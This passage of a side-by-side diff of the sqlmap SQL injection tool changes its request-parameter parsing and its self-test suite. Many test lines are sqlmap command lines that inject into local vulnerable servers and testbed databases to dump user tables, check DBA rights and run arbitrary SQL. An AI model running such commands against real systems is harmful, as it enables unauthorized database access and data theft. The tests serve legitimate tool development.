conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||||
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
|
for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
|
||||||
if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
|
if not (conf.testParameter and match.group("name") not in conf.testParameter):
|
||||||
_ = match.group(2)
|
_ = match.group(2)
|
||||||
_ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
|
if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3])
|
||||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
_ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
|
||||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
||||||
|
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||||
|
|
||||||
kb.postHint = POST_HINT.JSON
|
kb.postHint = POST_HINT.JSON
|
||||||
|
|
||||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON-like data found in %s data. " % conf.method
|
message = "JSON-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -177,7 +178,7 @@ def _setRequestParams():
|
|||||||
kb.postHint = POST_HINT.JSON_LIKE
|
kb.postHint = POST_HINT.JSON_LIKE
|
||||||
|
|
||||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Array-like data found in %s data. " % conf.method
|
message = "Array-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -191,7 +192,7 @@ def _setRequestParams():
|
|||||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||||
|
|
||||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||||
message = "SOAP/XML data found in %s data. " % conf.method
|
message = "SOAP/XML data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -206,7 +207,7 @@ def _setRequestParams():
|
|||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
|
|
||||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Multipart-like data found in %s data. " % conf.method
|
message = "Multipart-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -256,6 +257,9 @@ def _setRequestParams():
|
|||||||
kb.processUserMarks = True
|
kb.processUserMarks = True
|
||||||
|
|
||||||
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
|
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
|
||||||
|
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
|
||||||
|
continue
|
||||||
|
|
||||||
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
|
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
|
||||||
if kb.customInjectionMark in _:
|
if kb.customInjectionMark in _:
|
||||||
if kb.processUserMarks is None:
|
if kb.processUserMarks is None:
|
||||||
@@ -397,7 +401,7 @@ def _setRequestParams():
|
|||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
||||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -487,7 +491,7 @@ def _resumeDBMS():
|
|||||||
|
|
||||||
dbms = value.lower()
|
dbms = value.lower()
|
||||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||||
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
||||||
|
|
||||||
if _:
|
if _:
|
||||||
@@ -560,16 +564,18 @@ def _setResultsFile():
|
|||||||
return
|
return
|
||||||
|
|
||||||
if not conf.resultsFP:
|
if not conf.resultsFP:
|
||||||
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
|
conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
|
||||||
|
found = os.path.exists(conf.resultsFile)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
|
conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
|
||||||
except (OSError, IOError) as ex:
|
except (OSError, IOError) as ex:
|
||||||
try:
|
try:
|
||||||
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
|
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
|
||||||
handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
|
handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
|
conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
|
||||||
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
|
warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
except IOError as _:
|
except IOError as _:
|
||||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||||
@@ -578,9 +584,10 @@ def _setResultsFile():
|
|||||||
errMsg += "create temporary files and/or directories"
|
errMsg += "create temporary files and/or directories"
|
||||||
raise SqlmapSystemException(errMsg)
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
|
if not found:
|
||||||
|
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
|
||||||
|
|
||||||
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
|
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
|
||||||
|
|
||||||
def _createFilesDir():
|
def _createFilesDir():
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -1,68 +1,77 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import division
|
|
||||||
|
|
||||||
import codecs
|
|
||||||
import doctest
|
import doctest
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
import shutil
|
import socket
|
||||||
|
import sqlite3
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import traceback
|
|
||||||
|
|
||||||
from extra.beep.beep import beep
|
|
||||||
from extra.vulnserver import vulnserver
|
from extra.vulnserver import vulnserver
|
||||||
from lib.controller.controller import start
|
|
||||||
from lib.core.common import clearColors
|
from lib.core.common import clearColors
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readXmlFile
|
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.compat import round
|
from lib.core.compat import round
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import encodeBase64
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.patch import unisonRandom
|
||||||
from lib.core.exception import SqlmapBaseException
|
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
|
||||||
from lib.core.log import LOGGER_HANDLER
|
|
||||||
from lib.core.option import init
|
|
||||||
from lib.core.option import initOptions
|
|
||||||
from lib.core.option import setVerbosity
|
|
||||||
from lib.core.optiondict import optDict
|
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
|
||||||
from lib.parse.cmdline import cmdLineParser
|
|
||||||
|
|
||||||
class Failures(object):
|
|
||||||
failedItems = None
|
|
||||||
failedParseOn = None
|
|
||||||
failedTraceBack = None
|
|
||||||
|
|
||||||
_failures = Failures()
|
|
||||||
_rand = 0
|
|
||||||
|
|
||||||
def vulnTest():
|
def vulnTest():
|
||||||
"""
|
"""
|
||||||
Runs the testing against 'vulnserver'
|
Runs the testing against 'vulnserver'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
TESTS = (
|
||||||
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
|
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
||||||
|
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||||
|
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||||
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
|
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
|
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
|
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||||
|
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
||||||
|
("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
|
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||||
|
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
|
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
||||||
|
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||||
|
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
||||||
|
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||||
|
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||||
|
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
||||||
|
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||||
|
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||||
|
("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
|
||||||
|
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
|
||||||
|
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||||
|
)
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
count, length = 0, 6
|
count = 0
|
||||||
address, port = "127.0.0.10", random.randint(1025, 65535)
|
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||||
|
|
||||||
def _thread():
|
def _thread():
|
||||||
@@ -73,25 +82,60 @@ def vulnTest():
|
|||||||
thread.daemon = True
|
thread.daemon = True
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
for options, checks in (
|
while True:
|
||||||
("--flush-session", ("CloudFlare",)),
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
|
try:
|
||||||
("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
s.connect((address, port))
|
||||||
("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
break
|
||||||
("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)),
|
except:
|
||||||
("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)),
|
time.sleep(1)
|
||||||
):
|
|
||||||
cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options)
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
handle, database = tempfile.mkstemp(suffix=".sqlite")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
with sqlite3.connect(database) as conn:
|
||||||
|
c = conn.cursor()
|
||||||
|
c.executescript(vulnserver.SCHEMA)
|
||||||
|
|
||||||
|
handle, request = tempfile.mkstemp(suffix=".req")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
handle, log = tempfile.mkstemp(suffix=".log")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
|
||||||
|
|
||||||
|
open(request, "w+").write(content)
|
||||||
|
open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
|
||||||
|
|
||||||
|
url = "http://%s:%d/?id=1" % (address, port)
|
||||||
|
direct = "sqlite3://%s" % database
|
||||||
|
|
||||||
|
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||||
|
open(config, "w+").write(content)
|
||||||
|
|
||||||
|
for options, checks in TESTS:
|
||||||
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||||
|
|
||||||
|
if "<tmp>" in cmd:
|
||||||
|
handle, tmp = tempfile.mkstemp()
|
||||||
|
os.close(handle)
|
||||||
|
cmd = cmd.replace("<tmp>", tmp)
|
||||||
|
|
||||||
output = shellExec(cmd)
|
output = shellExec(cmd)
|
||||||
|
|
||||||
if not all(check in output for check in checks):
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
dataToStdout("%s---\n" % clearColors(output))
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
retVal = False
|
retVal = False
|
||||||
|
|
||||||
count += 1
|
count += 1
|
||||||
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
|
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
|
||||||
|
|
||||||
clearConsoleLine()
|
clearConsoleLine()
|
||||||
if retVal:
|
if retVal:
|
||||||
@@ -101,44 +145,183 @@ def vulnTest():
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def dirtyPatchRandom():
|
def bedTest():
|
||||||
"""
|
"""
|
||||||
Unifying random generated data across different Python versions
|
Runs the testing against 'testbed'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _lcg():
|
TESTS = (
|
||||||
global _rand
|
# MaxDB
|
||||||
a = 1140671485
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
c = 128201163
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
m = 2 ** 24
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
_rand = (a * _rand + c) % m
|
|
||||||
return _rand
|
|
||||||
|
|
||||||
def _randint(a, b):
|
# Informix
|
||||||
_ = a + (_lcg() % (b - a + 1))
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
|
||||||
return _
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
def _choice(seq):
|
# Altibase
|
||||||
return seq[_randint(0, len(seq) - 1)]
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
def _sample(population, k):
|
# CockroachDB
|
||||||
return [_choice(population) for _ in xrange(k)]
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
def _seed(seed):
|
# CrateDB
|
||||||
global _rand
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
_rand = seed
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
|
||||||
|
|
||||||
random.choice = _choice
|
# Drizzle
|
||||||
random.randint = _randint
|
